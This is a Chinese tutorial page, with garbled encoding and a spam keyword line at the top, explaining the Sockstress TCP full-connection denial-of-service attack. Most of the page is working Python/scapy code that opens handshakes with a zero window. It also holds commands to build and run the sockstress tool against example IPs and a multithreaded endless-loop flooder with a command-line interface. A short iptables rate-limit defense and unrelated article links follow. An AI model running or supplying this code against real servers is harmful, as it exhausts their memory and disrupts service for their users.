亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Python TCP全連接攻擊中SockStress全連接攻擊詳解

 更新時(shí)間:2022年10月09日 15:13:39   作者:LyShark 孤風(fēng)洗劍  
Sock Stress 全連接攻擊屬于TCP全連接攻擊,因?yàn)樾枰⒁淮瓮暾腡CP三次握手,該攻擊的關(guān)鍵點(diǎn)就在于,攻擊主機(jī)將windows窗口緩沖設(shè)置為0,實(shí)現(xiàn)的拒絕服務(wù)

攻擊者向目標(biāo)發(fā)送一個(gè)很小的流量,但是會(huì)造成產(chǎn)生的攻擊流量是一個(gè)巨大的,該攻擊消耗的是目標(biāo)系統(tǒng)的CPU/內(nèi)存資源,使用低配版的電腦,依然可以讓龐大的服務(wù)器拒絕服務(wù),也稱之為放大攻擊。

該攻擊與目標(biāo)建立大量的socket連接,并且都是完整連接,最后的ACK包,將Windows大小設(shè)置為0,客戶端不接收數(shù)據(jù),而服務(wù)器會(huì)認(rèn)為客戶端緩沖區(qū)沒有準(zhǔn)備好,從而一直等待下去(持續(xù)等待將使目標(biāo)機(jī)器內(nèi)存一直被占用),由于是異步攻擊,所以單機(jī)也可以拒絕高配的服務(wù)器。

#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
def sockstress(target,dstport):
	xport = random.randint(0,65535)
	response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
	send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
sockstress("192.168.1.20",80)

除了自己編寫代碼實(shí)現(xiàn)以外還可以下載一個(gè)項(xiàng)目 https://github.com/defuse/sockstress 該項(xiàng)目是發(fā)現(xiàn)這個(gè)漏洞的作者編寫的利用工具,具體使用如下。

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻擊主機(jī)IP -j DROP
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http

直到今天sockstress攻擊仍然效果明顯,由于攻擊過程建立了完整的TCP三次握手,所以使用syn cookie防御無(wú)效,我們可以通過防火墻限制單位時(shí)間內(nèi)每個(gè)IP建立的TCP連接數(shù)來(lái)阻止這種攻擊的蔓延。

[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

但是該方法依然我發(fā)防御DDOS拒絕服務(wù)的攻擊,這種攻擊只能拼機(jī)器拼資源了。攻擊目標(biāo)主機(jī)的Window窗口,實(shí)現(xiàn)目標(biāo)主機(jī)內(nèi)存CPU等消耗殆盡。

最后將前面兩種攻擊手段封裝成一個(gè),該代碼只能在Linux系統(tǒng)下使用。

#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻擊目標(biāo)主機(jī)的Window窗口,實(shí)現(xiàn)目標(biāo)主機(jī)內(nèi)存CPU等消耗殆盡
def sockstress(target,dstport):
    semaphore.acquire()       # 加鎖
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 釋放鎖
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="輸入被攻擊主機(jī)IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="輸入被攻擊主機(jī)端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻擊的載荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻擊并發(fā)線程數(shù)")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()

使用方法如下:

main.py --type=sockstress -H 192.168.1.10 -p 80 -t 100

案例中所表達(dá)的含義是,對(duì)主機(jī)192.168.1.180口,啟用100個(gè)線程進(jìn)行攻擊。

到此這篇關(guān)于Python TCP全連接攻擊中SockStress全連接攻擊詳解的文章就介紹到這了,更多相關(guān)Python SockStress全連接攻擊內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實(shí)例

    python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實(shí)例

    下面小編就為大家分享一篇python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實(shí)例,具有很好超參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來(lái)看看吧
    2018-05-05
  • Python中.join()和os.path.join()兩個(gè)函數(shù)的用法詳解

    Python中.join()和os.path.join()兩個(gè)函數(shù)的用法詳解

    join()是連接字符串?dāng)?shù)組而os.path.join()是將多個(gè)路徑組合后返回。接下來(lái)通過本文重點(diǎn)給大家介紹Python中.join()和os.path.join()兩個(gè)函數(shù)的用法,感興趣的朋友一起看看吧
    2018-06-06
  • 解讀opencv中cv2.imread()返回值為None問題及解決

    解讀opencv中cv2.imread()返回值為None問題及解決

    這篇文章主要介紹了解讀opencv中cv2.imread()返回值為None問題及解決,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-11-11
  • PyTorch?Dataset與DataLoader使用超詳細(xì)講解

    PyTorch?Dataset與DataLoader使用超詳細(xì)講解

    用于處理數(shù)據(jù)樣本的代碼可能會(huì)變得凌亂且難以維護(hù);理想情況下,我們希望數(shù)據(jù)集代碼與模型訓(xùn)練代碼解耦,以獲得更好的可讀性和模塊化。PyTorch提供的torch.utils.data.DataLoader和torch.utils.data.Dataset允許你使用預(yù)下載的數(shù)據(jù)集或自己制作的數(shù)據(jù)
    2022-10-10
  • Python實(shí)現(xiàn)購(gòu)物程序思路及代碼

    Python實(shí)現(xiàn)購(gòu)物程序思路及代碼

    本文給大家分享的是使用Python實(shí)現(xiàn)的購(gòu)物小程序的思路要求以及相關(guān)代碼,非常的簡(jiǎn)單實(shí)用,有需要的小伙伴可以參考下
    2017-07-07
  • Python 基于 pygame 實(shí)現(xiàn)輪播圖動(dòng)畫效果

    Python 基于 pygame 實(shí)現(xiàn)輪播圖動(dòng)畫效果

    在Python中可以適應(yīng)第三方庫(kù)pygame來(lái)實(shí)現(xiàn)輪播圖動(dòng)畫的效果,使用pygame前需確保其已經(jīng)安裝,本文通過實(shí)例代碼介紹Python 基于 pygame 實(shí)現(xiàn)輪播圖動(dòng)畫效果,感興趣的朋友跟隨小編一起看看吧
    2024-03-03
  • 基于Python編寫一個(gè)寶石消消樂小游戲

    基于Python編寫一個(gè)寶石消消樂小游戲

    快過年回家啦用,本文將為大家介紹一個(gè)用python編寫的寶石消消樂游戲用來(lái)哄小朋友,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以學(xué)習(xí)一下
    2022-01-01
  • Python使用sax模塊解析XML文件示例

    Python使用sax模塊解析XML文件示例

    這篇文章主要介紹了Python使用sax模塊解析XML文件,結(jié)合實(shí)例形勢(shì)分析了Python使用sax模塊針對(duì)xml文件進(jìn)行讀取、解析、內(nèi)容處理等相關(guān)操作技巧,需要的朋友可以參考下
    2019-04-04
  • python 獲取毫秒數(shù),計(jì)算調(diào)用時(shí)長(zhǎng)的方法

    python 獲取毫秒數(shù),計(jì)算調(diào)用時(shí)長(zhǎng)的方法

    今天小編就為大家分享一篇python 獲取毫秒數(shù),計(jì)算調(diào)用時(shí)長(zhǎng)的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來(lái)看看吧
    2019-02-02
  • Python中用戶輸入與while循環(huán)詳情

    Python中用戶輸入與while循環(huán)詳情

    這篇文章主要介紹了Python中用戶輸入與while循環(huán)詳情,,包括如何接收用戶輸入并進(jìn)行處理,在程序滿足一定的條件時(shí)讓程序一直運(yùn)行,通過獲取用戶輸入并學(xué)會(huì)控制程序在用戶想要結(jié)束時(shí)退出循環(huán),即可編寫出交互式程序,下文詳細(xì)內(nèi)容介紹,需要的朋友可以參考一下
    2022-03-03

最新評(píng)論